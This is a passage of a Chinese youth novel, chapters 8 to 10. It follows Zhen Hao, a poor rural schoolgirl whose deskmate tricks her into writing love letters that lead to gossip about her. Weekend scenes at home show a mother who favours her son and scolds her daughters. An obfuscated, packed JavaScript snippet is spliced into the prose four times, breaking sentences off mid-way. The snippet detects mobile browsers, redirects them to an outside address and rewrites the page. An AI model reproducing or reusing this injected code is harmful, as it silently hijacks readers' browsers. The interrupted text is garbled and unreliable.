少年脊背挺得笔直，正认真地听讲，一如她在信里所写的那般。 可是那些信…… 她收回目光，侧头看了一眼也在认真听讲的喻玲。 老师在讲什么，她一个字也没听进去，而同桌温柔美好的笑脸仿佛也变得面目可憎起来。 她很想问问喻玲为什么要那么做，可鼓起的勇气一次次在自我否认中消逝。 喻玲那么好，不会这样对她的，这其中一定有什么误会。 她决定等放学回寝室午休的时候，先向姚明娜打听打听，再看看怎么跟喻玲开口。 语文课下课的时候，天就已经放晴。 闽县的天就是这样，风雨来得快去得也快，彩虹常挂天边。 好不容易熬到了放学，甄好神色如常地跟喻玲告别。 喻玲家就住附近，是走读生，三餐都在家里吃。 甄好很羡慕她，却不单单是羡慕这点。 “好好，憋死我了都。”周淳芮一上午除了赶作业就是参加校园长跑，根本没机会和甄好聊天。 “再憋一会儿。”彼时她们三个已经走到教室门口，甄好朝遥远的最西边看了一眼，“女厕太远了，直接去食堂找厕所吧。” “好好，你在说什么啊？”周淳芮忍住翻白眼的冲动，“我说的憋死了不是这个。” “那是什么？”甄好看了一眼没说话的鄢云书：“云云，你知道吗？” 根本不需要鄢云书开口，周淳芮就自己倒豆子似的全说了出来：“好好，你有没有发现这两天班里的同学怪怪的？不仅如此，就连寝室里的人都怪怪的。她们说的那些都是什么屁话，太难听了！好好，你是不是得罪什么人了？” 闻言，甄好轻轻皱起眉头。 看来她不需要从姚明娜那里打听消息了，周淳芮会解开她内心的疑问。 “他们都说什么了？”甄好挑了一个自己最想知道的问题问道。 “他们说你……”饶是性格大大咧咧的周淳芮也忍不住顿了顿，见甄好神色没有异常才继续小心翼翼地说道，“说你不要脸，小小年纪学人家追男孩子，也不知道照照镜子看看自己……” 鄢云书听不下去了：“芮芮，别说了。” “没事。”甄好微微握拳，指甲陷进掌心，带来一丝痛感，“他们还说什么了？” “好好，咱们不听了好不好？”想起那些话，周淳芮就气不打一处来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557328|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“那些人肯定是吃大便了，嘴臭得很，我们不要听他们胡说八道。” “我没有。”甄好有些委屈地说道。 她不知道他们是从何而来的恶意，也不知道那几封信到底是怎么回事，但这件事一定跟喻玲脱不了干系。 “没有什么？”周淳芮被她没头没脑的三个字说蒙了。 “我没有追男孩子。”说这句话的时候，甄好略显心虚。 虽说她没有追男孩子，但她的确在日记本里藏了不为人知的少女心事。 “我当然知道你没有啦。”周淳芮说着话锋一转，“再说了，就算你追男孩子又怎么了，谁说女追男就是不要脸了？他们才是最荒谬的，老古董！” 鄢云书附和道：“赞同。” “哇哇哇，云云竟然赞同我了。”周淳芮本来好好走着路，听到鄢云书的话顿时手舞足蹈起来：“好好，听到没？连云云都赞同我说的话！” 她们三个人，属鄢云书的成绩最稳定，基本上常居年级前三。甄好的成绩浮动比较大，有时候能考到年级第一，有时候却掉出年级五十。至于周淳芮，学习是什么？她不知道，她只知道青春无敌，开心万岁。 快乐是会传染的，周淳芮眉飞色舞的样子很大程度地驱散了甄好心里的阴霾，连脚步都跟着变得轻盈了一些。 去食堂要经过一座小小的天桥，天桥连接着学生宿舍。这栋独立于教学楼的建筑，一共五层楼，男女生宿舍对半分，中间有护栏围挡，基本上看不到对面的一举一动，而食堂位于宿舍楼一楼旁另外起的一座两层小楼。 住在三楼的男生有多讨厌呢？ 天桥直接连接到学生宿舍的二楼，每个学生想要去食堂都要从这里经过，头顶便是三楼走廊。 每当女生们走完天桥要进入二楼时，都必须深呼吸一口气，快速冲过去。 为什么呢？因为站在三楼走廊的臭男生们会往下吐口水！ 她们三个走得迟了些，等走上天桥时，上面早就已经站了一排的男生，其中就包括裴小海。 他正跃跃欲试地看着下面的三人，笑嘻嘻地说道：“怎么不走了？是害怕了吗？哈哈哈——” 甄好厌恶地皱了皱眉。 没品的男生是真的一言难尽。 “杭与，你也过来啊！”裴小海回头招呼着师杭与，“多好玩啊，快来！” “别做这么无聊的事。”师杭与的语气淡淡的。 虽然没看到他人，但甄好还是下意识地紧张起来。 趁裴小海几人转过头的瞬间，周淳芮手疾眼快地拉着两人迅速通过这“恶心之门”，顺利进入到二楼。 “师杭与，都怪你！她们跑了！” 她们进了楼还清晰地听见裴小海抱怨的声音。 “男生真讨厌。”周淳芮不满地吐槽。 “同意。”短短五分钟内，鄢云书第二次赞同了周淳芮。 “嘻嘻，云云又赞同我了。”周淳芮又雀跃起来，“我又幸福了。” “快走吧。”甄好友情提醒道，“再不快点，你爱吃的干笋焖肉可就卖完了。” “对对对，快快快！”周淳芮忙不迭加快脚步。 一到食堂，三人就直冲自己爱吃的菜品窗口。甄好和鄢云书最快打完饭菜，久久才看到周淳芮苦着一张脸坐到她们对面。 “怎么这副表情？”甄好开口问。 “被你说中了，干笋炖肉真的卖光了。”周淳芮都快哭了，“我的快乐一去不回来，呜呜呜——” 这时，一道熟悉的声音传来：“不介意的话，可以吃我的。” 然后一道看起来色香味俱全的干笋焖肉被放在三人面前的不锈钢餐桌上。 8. 莫名其妙的自尊 今日多云转晴，心情的快乐开关丢失。 这是我第一次不想在日记本里写到683同学。 ——《橘色告白》 说话的女生是欧阳雅美。 跟她一同坐下来的还有楼知夏。 “欧阳？”周淳芮看了看欧阳雅美，又看了楼知夏一眼，惊讶道，“你们今天怎么没回家吃饭？” 她们和喻玲一样，都是走读生，平时关系也都不错。 看到两人，甄好不禁想起上周发生的一件事。 彼时恰逢新初一第一次月考成绩单下发，有人欢喜有人愁。 甄好既欢喜又发愁。 欢喜的是她成绩不错，语文作文更是得了全年级最高分；发愁的是被年段长拿到各个班级传阅，让每个班派代表在讲台上进行诵读。 甚至有其他班级相熟的同学特意来找她，说头一回看应试作文给看哭了。 听到这话时，甄好微微垂下眼帘。 没人知道她在考场落笔的时候，鼻子和眼睛一阵阵发酸，忍得很辛苦才没有掉眼泪。 她写的作文不管是主题还是情感都很朴实，或许用真情实感写下来的文字总是更能打动人心，因为这篇标题为《我的全能爷爷》，她在年级里小小地出名了。 很多人都知道初一有个叫甄好的女生作文写得好，得了满分。 （11）班更是跟过年了似的，同学们都跟着起哄，说班里出了个才女。 甄好不习惯被人注视，明明是被赞美的好事，她却觉得浑身别扭，脸上也热热的，十分不自在。 从小到大，她得到的所有夸奖都来自学校的老师。 一直在打击式教育下长大的她，面对来自外界的赞美都会感到深深的焦虑。被夸奖时，她的第一反应不是开心，而是觉得自己真的有那么好吗，自己真的配得上这些美好的词语吗？ 这种不配得感导致甄好恨不得大家赶紧遗忘满分作文事件，再也不要提起来。 直到成年后，她才知道这种认知失调在心理学上被称之为“冒名顶替综合征”。 然而人生总是事与愿违，就在她的作文被传阅的第二天，喻玲约她到后山见面。 她不明所以，但仍旧按时赴约。 让她没想到的是，除了喻玲，还有三个女生在场。 其中两个是她们的同班同学欧阳雅美和楼知夏，另一个她觉得眼熟，但不认识。 喻玲先开口：“好好，有件事想请你帮忙。” “什么事呢？”甄好想不到自己能帮助她们什么。 除了那个女生她不熟悉，其余三个女生都是家境不错的本地人，她一个乡野来的女孩能有什么本事帮别人。 “甄好同学，这是（1）班的欧阳雅雅，是我堂妹。”欧阳雅美指着甄好不认识的那个女生，“其实是她有事想拜托你。” “甄好同学，是我求我姐帮我约你出来的。”欧阳雅雅留着披肩bobo头，看起来很是乖巧，声音也温温柔柔的，轻而易举就获得了甄好的好感。 甄好有些不好意思道：“你想要我帮你什么忙？” “你的那篇满分作文我看了，写得好好，我都看哭了。”欧阳雅雅真诚地夸赞道。 她的大方赞扬让患有严重赞美焦虑症的甄好霎时就紧张了起来，整张脸连同耳朵都红了，半天都说不出一个字来。 其实欧阳雅雅拜托她的事情很简单：“就是我……我喜欢一个男生。” 说到这里她顿了顿，脸比甄好的还要红：“我想给他写信。” 她没好意思说“情书”这两个字。 “然后呢……”甄好隐约猜到她想让自己做什么，但不敢肯定，因为那实在太过匪夷所思。 “然后，我就想……”欧阳雅雅说到一半看了一眼喻玲。 “没事，你就照实说吧。”喻玲柔声开口，“好好不会介意的。” “那好吧，那我就直说了。”欧阳雅雅鼓起勇气说道，“因为我没什么文采，又想在喜欢的男孩子面前留个好印象，所以我想说，你可不可以帮我写几封信，到时候我稍微改一改，重新写一遍再给那个男生……我想找你帮忙的就是这件事，不知道甄好同学愿不愿意？” 甄好听完微微松了口气。 她原本以为对方是想让自己直接替写情书，在听到欧阳雅雅说还会再誊写一遍，她心里的大石彻底落地。 她不擅长拒绝人，可帮人写情书这种事情她又实在不愿意做，但如果只是帮忙写几段话让别人参考，她完全没问题。 见甄好一直没说话，喻玲忍不住帮腔：“好好，你就帮帮雅雅吧。她喜欢那个男生很久了……” 就算喻玲没有开口，甄好也没打算拒绝。 所以这事就这么定下了。 从上周二开始，她每天都会交给喻玲一封信，由喻玲交到欧阳雅雅手上。 甄好用的只是最普通的科作业纸，但好看的字写在哪里都好看，每写一封喻玲都会不遗余力地夸她：“好好，你的字写得好漂亮啊！” 这一周以来，可以说是甄好短短的人生中受到赞誉最多的七天。 有时候看着简陋的科作业纸，她也会渴望那些精美的信纸，可是她没有钱买除了必需用品以外的任何东西。 甚至连必需品她都不一定买得起。 比如，她脚下的鞋一到下雨天就会进水，湿漉漉的感觉很不好受，然而她连找家里人要钱买新鞋的勇气都没有。 甄好的目光不自觉地落在欧阳雅美那双漂亮的名牌运动鞋上，心里泛起一丝丝苦涩。 “我和雅美的爸妈中午刚好都有事出去了，我们就结伴来尝尝学校食堂的菜味道怎么样。”回答周淳芮问题的是楼知夏。 “哦哦。”周淳芮的眼睛从始至终只黏在她心心念念的冬笋炖肉上，“那我就不客气啦！” 说着，她一筷子夹了下去，边夹边说：“不要嫌弃我，我的筷子还没有用过。” “不嫌弃，不嫌弃，我们一起吃吧。”欧阳雅美说着又将自己的餐盘往几人中间推了一下。 楼知夏和欧阳雅美的盘子里又是鱼又是虾的，甚至还有一些卖相不错的糕点，甄好看着看着不着痕迹地咽了咽口水。 她很想吃，可她一筷子都没有动，一直老老实实吃着自己餐盘里的素菜，唯一算得上荤菜的是西红柿炒蛋。 除了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557329|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一种奇怪的自尊束缚住了她，还有更重要的一点是，她不喜欢与人分食。 楼知夏几次欲言又止，最后到底还是什么都没说。 一直埋头吃饭的甄好并未看到她几次投向自己的眼神里藏着不明显的愧疚。 这时，欧阳雅美放在校服口袋的手机轻轻振动了一下，她掏出来查看。 是楼知夏在□□四人群里发了一条消息：“我们这样做是不是太过分了啊？” 甄好无意间的一瞥，看到了欧阳雅美手机上的企鹅图标。 虽说闽县只是一个小县城，但沿海地区的经济发展总是比内地来得快，尤其是电子产品。 个别有钱人家的小孩早就人手一部智能手机，智能手机走进千家万户只是时间问题。偏偏就是这么平常的一件事，对于甄好来说却难如登天。 落寞的感觉再度席卷她，她想要的东西太多太多，能力却不足以支撑她的野心。 她不想被困在落后的小县城里，她想走出大山，想到山的那边，想去海的那边，想去看看更广阔的世界。 吃完饭回寝室的路上，周淳芮因为吃到了想吃的美食，一直叽叽喳喳，开心得不得了。 鄢云书跟平时一样，没什么话。 甄好则又变成心事重重的样子。 她很想现在就当面问问喻玲为什么自己写的信会落到师杭与手中，可距离下午上课还有一段时间。 一到寝室，她就疲惫地躺在床上。 寝室的床很硬，她铺了两层被褥睡起来才勉强舒服些。 她的心很乱，很多人的脸在她大脑里转来转去，最后停在师杭与那张俊秀的面容上。 师杭与个子高挑，皮肤是健康的蜜色，五官酷似当时流行的男团歌手之一，是以不管是哪个年级的女生都对他很感兴趣。 甄好便是其中不起眼的一个。 她翻来覆去怎么都睡不着，师杭与那句冷漠的“以后不要再做这种无聊的事了”就像核弹爆炸，爆炸过后是无尽的伤痛，不知何时才能愈合，甚至无法愈合。 既然睡不着，她索性不睡了，翻身用手肘撑着床铺，打开一直藏在枕头下的日记本。 为了阻挡蚊子，也为了有自己小小的隐私空间，寝室里每个女生都安了床帘，甄好也不例外。 她安的是亮眼却不透人影的橘色帘子，没人知道是因为它便宜，她才选择了它。 甄好翻看着这几日的日记，每一天都有不同的烦恼。她不知道别的女生是不是也像她一样，除了写不完的作业，就是诉不完的烦恼。 她看着每一页都出现的683同学字眼，心里堵得慌。 因为怯懦，她连师杭与的名字都不敢写，只敢用代号叙说自己的隐秘心事。 师，六个笔画。 杭，八个笔画。 与，三个笔画。 简简单单的三个数字，组成她少女时代情窦初开的最美符号。 【注解】冒名顶替综合征（ImposterSyndrome）：指个体认为自己不配得到认可，觉得成功或赞美是“侥幸”，担心被他人“识破”自己的“不足”。这种自我怀疑会导致对正面反馈的排斥。 9. 一周能见你五天 今日天气持续多云。 学校再怎么讨厌，一周能见到你五天就感觉什么都很好。 ——《甄好日记》 下午第一节课。 喻玲来得有些迟，只比数学老师先一步到达教室。 一坐下没多久，她就轻轻碰了碰甄好的胳膊，推了一张字条过来。 因为怕被老师发现，所以甄好小心翼翼地展开，看见上面写着：“好好，下课可以和我去一趟后山石屋吗？” 她回了个“好”字，便抬头认真看着黑板，表面看起来正在专注地听讲，实际上板书上那些xyz早不知飞到哪里去了。 她最近总是走神，这样不好。她可以说是一无所有，唯一能够引以为傲的就是成绩。 她不能连这点优势都丢掉。 这么想着，甄好强迫自己把注意力放在新教的公式上，跟着老师的思路解开了一道又一道数学题。 做出一道数学题的成就感很奇妙。 不像语文或政治题，只要言之有理就可以得分，数学题的答案对就是对，错就是错，干净利落，就如她想要的人生。 可人生怎么可能是那么简单的对与错？ 时间在做题中不知不觉地流逝，很快便下了课。 甄好和喻玲一同走向学校后山的石屋。 课间只有十分钟，加上来回的时间，她们真正能待在石屋的时间不会超过五分钟。 甄好不是很明白有什么事是在教室不能说的，非要在石屋见面。 不过既然喻玲都提出请求了，她也懒得思考那么许多，先去了再说。 去的路上，两人的气氛有些古怪，古怪在一向健谈的喻玲一句话都没有说，而话本来就少的甄好更加不可能主动开启什么话题。 一路沉默着到达石屋后，她们只是站在石屋后一处较为隐蔽的地方，并未走进去。 甄好刚站定，就听到喻玲满怀歉意地开口说了三个字：“对不起。” “对不起？”甄好心里一咯噔，隐约猜到喻玲真正想说的可能跟那些信有关，不自觉跟着紧张起来。 “我今天才知道杭与同学扔给你的那些信原来是我拜托你写的。”喻玲秀眉紧锁，“对不起，是我让杭与同学误会了你。” 这是一种什么感觉呢？ 在甄好万般纠结该如何询问和对质时，喻玲先主动坦白了一切。 坦白果真从宽，在喻玲说出口的那一刻，甄好发现自己已经原谅了她大半。 但她还是不明白：“你为什么要那么做？” “真的很对不起，是我搞错了状况，这一切都是我造成的。”喻玲不断地道歉，“你要怪就怪我吧，这件事跟其他人无关，对不起，真的对不起。好好，你骂我吧。” 虽然觉得这一番话哪里怪怪的，但甄好一直是容易心软的性格，见喻玲一副快哭了的模样，更是一句责怪的话都说不出来。 在她心里，喻玲一直是一个很好的同桌。不仅长得漂亮，人也温柔，而且一点也没有看不起她是从乡下来的。 可这不是喻玲可以肆意伤害她的理由。 此时此刻，她心里有两个自己在打架，哪一方都不肯认输。 一方叫她原谅喻玲，另一方叫她不能轻易原谅施害者。 甄好的沉默让喻玲更加慌张：“好好，你怎么不说话？你骂我两句好吗？这样我心里会舒服些。” “我现在心很乱，我们先冷静冷静吧。”甄好说完便先转身朝教室的方向走去，喻玲自然没看到她悄然红起来的眼眶。 一场悄无声息的冷战在甄好和喻玲之间拉开，就连神经大条的周淳芮都感觉到了不对劲。 “好好，你跟喻玲是不是闹矛盾了？”第二节下课，周淳芮拉着鄢云书和甄好两人去操场散步。 “为什么这么问？”甄好不认为自己表现得有那么明显。 “我看你们都两节课没说话了。”喻玲不是内向的性格，哪怕甄好不说话，她也一定会找话说，这是周淳芮判断这两人之间不对劲的依据。 “的确发生了点小小的误会。”甄好轻描淡写道，并没有细说的打算。她实在不知该从何说起。 “这样啊。”周淳芮突然停下来，转身面对甄好。 她的眼睛很大，一脸严肃的时候仍旧带着几分天真：“好好，如果有什么不开心的事，只要你想说，我们都在。” 说完她又冲鄢云书道：“对吧，云云？” “嗯。”鄢云书难得认真地点头，“把事情憋在心里对身体不好。” “马上上课了，放学再说吧。”甄好感觉内心有一阵暖流淌过，郁结的心情得到一丝丝缓解。 这天是周五了，即将迎来周末。 寄宿生只有周末才能回家，每个人脸上都洋溢着快乐和迫不及待，都巴不得快点放学。 可是，甄好不想回家。 一点都不想。 但周末还是如期而至，第三节下课铃声响的前一分钟，教室里就明显开始躁动起来。 同学们早已按捺不住激动的心，早早就收拾好了一应物品，只等铃声一响，就冲出教室。 甄好三人一向不喜欢凑热闹，总是拖到最后才慢吞吞地去车棚取车。 奇怪的是，喻玲也没有像往常一放学就走，而是磨磨蹭蹭地收拾着桌上的东西，时不时瞥一眼门口。 下一秒，少女轻快的声音响起。 “玲子，我来了，去网……”欧阳雅雅一从后门钻进来就与准备出去的甄好迎面碰上，导致她硬生生将那个“吧”字吞了回去。 “嗨……甄好同学。”欧阳雅雅眼神闪躲，心虚得不敢直视甄好。 “嗯。”一放假甄好就心情不好，看到欧阳雅雅更是不可避免地想起情书事件，本就郁闷的心情更添几分阴霾，自是没有注意到对方的异样。 她说完便头也不回地出了教室，第一次放学没有跟喻玲说再见。 等确定甄好走远了，欧阳雅雅才小心地问喻玲：“你都跟她说了？” 喻玲不在意地点点头：“说了，她不高兴了。” “那你接下来打算怎么办？”欧阳雅雅说这话的时候，一直还没有离开教室的欧阳雅美和楼知夏也围了过来。 喻玲淡淡地笑道：“雅雅，接下来就看你的了。” “我怕我怯场……”欧阳雅雅不自信道。 “不就是演戏嘛，等回了家姐陪你排练。”欧阳雅美无所谓地耸肩，“正好不知道周末玩什么。” “你们不觉得甄同学挺无辜的吗？”这句话楼知夏早就想说了。 “她无辜？”喻玲冷笑道，“我对她那么好，什么好吃的好玩的好看的都第一时间分享给她，可她呢？” “但是这也不能完全怪甄同学啊……”楼知夏嗫嚅道，“她甚至都不知道宋景喜……” “住嘴，我不想听。”此时的喻玲完全没有平时温柔可人的模样，有的只是一脸不耐烦，“夏夏，你到底是哪边的？” 一想到宋景喜欢甄好这件事，她就恨得牙痒痒。 这场由她主导的针对甄好的恶作剧，才刚刚开始。 透过窗户，喻玲看着已经走到校门口的女生背影，嘴角的冷笑越来越深。 三中的停车棚设置在校门口右侧。 甄好的自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557330|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行车是一辆掉了漆的二手货，骑起来摇摇晃晃，总生怕它散架。 取到车，打开锁后，她才发现车胎不知被谁放气了。 “真倒霉。”心情不佳的她如今更是感到雪上加霜。 “怎么了？”周淳芮这时也找到了自己的车，正推着走到甄好旁边。 “轮胎没气了。”甄好强压下内心的烦躁，语气听起来还算平静。 她不是情绪外放的人，多数时候都是面无表情的样子，只有在面对熟悉的人才会偶尔露出独属于花季少女的清甜微笑。 “放气贼真讨厌！算了，我们陪你去钟阿叔那里打气。”周淳芮伸出一只手拍了拍甄好的肩，“走吧。” 钟阿叔人很好，像给轮胎打气这种小事一般都不收钱，所以钟叔修车铺很受学生欢迎。 到了那里，经过钟阿叔的检查才发现甄好的自行车不单是没气了，是连车胎都被为为扎破了。 “要补胎。”听到钟阿叔这样说，甄好不禁皱了皱眉心。 “钟阿叔，补胎需要多少钱？”她一周只有二十元的生活费，不仅要吃饭还要买学习用品，到了周五手里已经所剩无几。 “收你三块钱。”钟阿叔说了个实诚价。 甄好心知这已经是钟阿叔能给的最低价了，可是…… 她紧紧捏着手里的两元纸币，脸在一瞬间热了起来。 钱不够。 一文钱尚且难倒英雄汉，别说她只是一个刚上初一的女生。 周淳芮和鄢云书对视一眼，两人默契地交换了一个眼神。 “钟阿叔，我们的自行车好像龙头有点问题，轮胎气也不太够，要不一起帮我们检查检查吧，您看看一起弄完多少钱。”周淳芮对钟阿叔说道。 “没问题，我看看。”钟阿叔说完便开始干活了。 甄好半信半疑地看着她们：“没听说你们的车也有问题啊……” “哎呀，刚发现的嘛。”周淳芮说话时没看甄好，而是心虚地看着忙活的钟阿叔，“这不重要，重要的是快点修好车，好早点回家，感觉要下雨了。” 甄好抬头看着头顶上的阴天，游云在风的簇拥下，迅速地飘走后又有新的云追上来。偶尔有小鸟飞过天际，不留下一丝痕迹。 周淳芮说得没错。 的确快要下雨了。 十分钟后，钟阿叔将三辆自行车交到三人手中，最终只多收了一块钱，也就是四块钱。 一直没说话的鄢云书开口道：“好好，这是我和芮芮的，放一起给老板吧。” 她手里拿着的是两张一元纸币。 “那怎么行？补胎明明要三块钱……” “哎呀，这不重要。”周淳芮抢过鄢云书和甄好手中的纸币，将它们一咕噜塞到钟阿叔手里，“谢谢钟阿叔，我们先走啦。” 说完，她便率先骑上自行车，朝前飞奔而去，边骑边大喊：“再不走真的要下雨了！” 甄好无奈，只好快速跟了上去。 三个女生在台风天即将到来的傍晚逆风前行，恣意又自在。 遇到上坡的时候，她们只能下车推着走。 回刺桐村有一段长长的上坡路，光走都要花上半个小时。 聊天自然就成了打发时间的最佳选择，周淳芮永远是走在话题的最前端：“好好，你跟喻玲发生什么事了？” 被她这么一问，甄好的话匣子就此打开。 将事情娓娓道来，又得到两位好友的安慰与支持后，她感觉内心轻松了不少。 在这一刻，甄好是切实感受到快乐的。 而她的快乐，截止于回到家见到母亲的那一刻。 10. 爱不到想爱的人 今日天气晴，心情灰扑扑。 回家好像变成了一种折磨。 我想像七仙女一样自由飞翔，去想去的地方。 ——《甄好日记》 走进那栋一遇到台风暴雨天就会漏水的瓦房，甄好的心便随之提了起来。 “妈，我回来了。”她小心翼翼地往里屋走去，说话的音量不大，在空旷的房里听起来却足够清晰。 等她回到自己和妹妹甄美的房间时，才听到母亲何允莲的大嗓门：“回来了就去帮你妹妹切菜喂鸭子。一天天的，喊一下才知道动一下，两个赔钱玩意儿，不知道我做工累吗？” 那种熟悉的窒息感又涌上甄好心头。 她没有应答，只是放下书包就走到北边的小院子去寻甄美。 何允莲所说的切菜，是将芥菜切碎，把南瓜推成丝，然后取一些糠加水，搅拌好喂鸭子吃。 莫说是在闽镇的刺桐村，就是闽县乃至整个闽市，溢鸭汤都像是灵丹妙药——感冒了，喝鸭汤好得快；贫血了，喝鸭汤好得快；青春期，喝鸭汤长得快；生娃坐月子，喝鸭汤好下奶…… 总之，做什么都能扯上喝鸭汤。 别人家的小孩怎么样甄好不清楚，但她本人厌恶极了喝鸭汤。 “阿姐，你回来啦。”正蹲在地上推南瓜丝的甄美抬起头，稚嫩的小脸上是纯真的笑。 在没有旁人的时候，甄好是很喜欢这个小自己五岁的妹妹的。 十一岁那年，她第一次见到从津城回到家乡的甄美。 彼时六岁的甄美人如其名，圆圆的杏眼看起来可爱又无辜，小小年纪就已经能看出鼻梁高而挺，最好看的是那张樱桃小嘴，谁见了都要夸两句。 甄好一方面因为自己竟然有个妹妹而感到新奇，另一方面因为自己有这么漂亮的妹妹而觉得开心。 如果不是后来发生的那些事…… “阿姐？”见她发呆，甄美又叫了她一声。 甄好从回忆中挣脱出来，板着脸不悦道：“别叫我阿姐。” 甄美却不为所动：“阿姐，你刚骑了那么久的车回来，肯定很累吧？这样好了，你就假装在帮我，先坐着歇会儿。” 她简短的一席话让甄好心里五味杂陈。 两相对比之下，她觉得自己又小气又邪恶，真真如他们所说——甄好哪里都比不上甄美。 这么一想，甄好更加讨厌自己了。 然而甄美的好意到底还是打了水漂，何允莲很快就监工来了：“都别偷懒啊，动作麻利点，那些鸭子可是咱们的吃饭钱，饿不得。还有啊，看着你们弟弟点，别让他跑丢了。” “妈——” 甄好刚叫出一个字就被何允莲打断：“妈什么妈？快干活，你妈我身上疼死了，先去躺会儿。” 转身离去之前，她又回过头交代：“喂完鸭子记得做晚饭。” 甄好张了张嘴，想说什么但最后还是一个字都没说。 她缓缓地蹲下，动作机械地切着菜，不发一语。 “阿姐，等一下我来做饭。”甄美仰头冲她露出一个天真无邪的笑容。 这一瞬间，甄好更加自惭形秽。 年仅八岁的甄美尚且懂得如何疼爱家人，为什么有些大人却…… 她抬头看了一眼在一旁玩棍子的甄黎，眼中闪过明显的不耐烦。 下一秒，甄黎甩着棍子朝她们走来，嘴里大喊着：“看剑！” 甄美一个躲闪不及，被那根长棍的尖锐处戳到了脖颈，细腻的皮肤很快红了一块。 “甄黎！你干什么？！”甄好眼里的不耐烦终于彻底变成厌烦，大声地冲甄黎吼道。 她刚吼完，甄黎就扔掉棍子，整个人坐在地上大哭起来。 震天响的哭声很快引来了在主屋休息的何允莲，她一边嘴里骂骂咧咧，一边快步走来。见自己心爱的小儿子坐在地上哭得一脸脏兮兮，她怒从中来：“你们是怎么当姐姐的？没看到弟弟摔倒了，不知道扶一把？真是不知道养你们有什么用！两个糟心玩意儿！” “妈妈，二姐打我……”甄黎一边哭一边指着还蹲在地上的甄美恶人先告状，“好痛痛——” 何允莲一听，顿时气急败坏，指着甄美的鼻子就骂道：“让你打弟弟，让你打弟弟！弟弟才五岁，你不知道让着他点吗？啊？！” 在她的巴掌即将落到甄美脸上时，甄好不知从哪里生出来的勇气，直接用身体挡住了那只手。 “妈！事情不是这样的，是……” 何允莲根本不给甄好说话的机会，一把推开她们：“起开，该干吗干吗去。” 她说着蹲下身，心疼地抱着甄黎安慰道：“黎黎哪里疼？妈妈吹吹就不疼了啊，黎黎乖……” 被何允莲推开的那一瞬间，甄美忍了又忍的眼泪终于控制不住地掉了下来。 甄好拉着她走到厨房，一张脸冷得像腊月的霜。 “阿姐，我也疼。”甄美晶莹的眼泪一颗接一颗地掉，“我也想要妈妈给我吹吹。” 她到底还只是个小女孩，也想要来自母亲的关怀与疼爱。 “做饭吧。”甄好什么都没说，只是转身默默地刷锅。 眼泪她小时候也没少掉，可是掉眼泪有什么用，她的生活没有任何改变，母亲依旧只宠爱弟弟。 小小的甄美尚且不懂这些大人的情感，只知道一个事实：“阿姐，我讨厌弟弟。” 她一边生火，一边气鼓鼓地抱怨：“弟弟讨厌，我不想要弟弟！” 甄好始终没有对她的话发表任何意见，等淘好米下锅后便出了厨房。 再回来时，她手上多了两样东西：“阿美，你过来。” 甄美又往灶坑里加了一根干柴，才起身来到她面前：“怎么了，阿姐？” 甄好没说话，只是拿消毒酒精默默地替她擦拭脖子上的伤口。 被消毒酒精触碰到的皮肤一片生疼，甄美不自觉地“咝”了一声。她虽然觉得疼，眼睛却亮亮的，亮到甄好不敢看。 消好毒后，甄好替她贴上卡通创可贴：“好了。” 消毒酒精和可爱的创可贴都是她上了初中后，从喻玲那里知道的，是她省吃俭用一个星期才买回家备用的。 “谢谢阿姐。”甄美圆圆的眼睛笑成了月牙，“还是阿姐对我好。” “傻兮兮的。”甄好伸手揉乱她和自己差不多长的头发。 面对甄美纯澈的笑容和真诚的感谢，她心有愧疚。 她应该第一时间就拿东西来帮甄美处理伤口的，偏偏这个小丫头还开心得咯咯直笑。 “阿姐，你帮我看一下火。”甄美上扬的嘴角一直没有收回来，“东西给我吧，我放回去。” “好。”甄好说着把东西递给她。 过了不到一分钟，甄美又跑进了厨房，声音里满是惊喜：“阿姐，阿姐，这个创可贴好漂亮啊！” 她一边说一边轻轻摩挲脖子上那张小小的创可贴。 “都说了，别叫我阿姐。”甄好故意冷着脸，一遍一遍地强调道。 “可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557331|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你就是我的阿姐啊。”甄美依旧不听她的，自顾自地转移话题，“阿姐，县里是不是很热闹，是不是很多我没见过的新鲜玩意儿？” 甄好被她的问题问住。 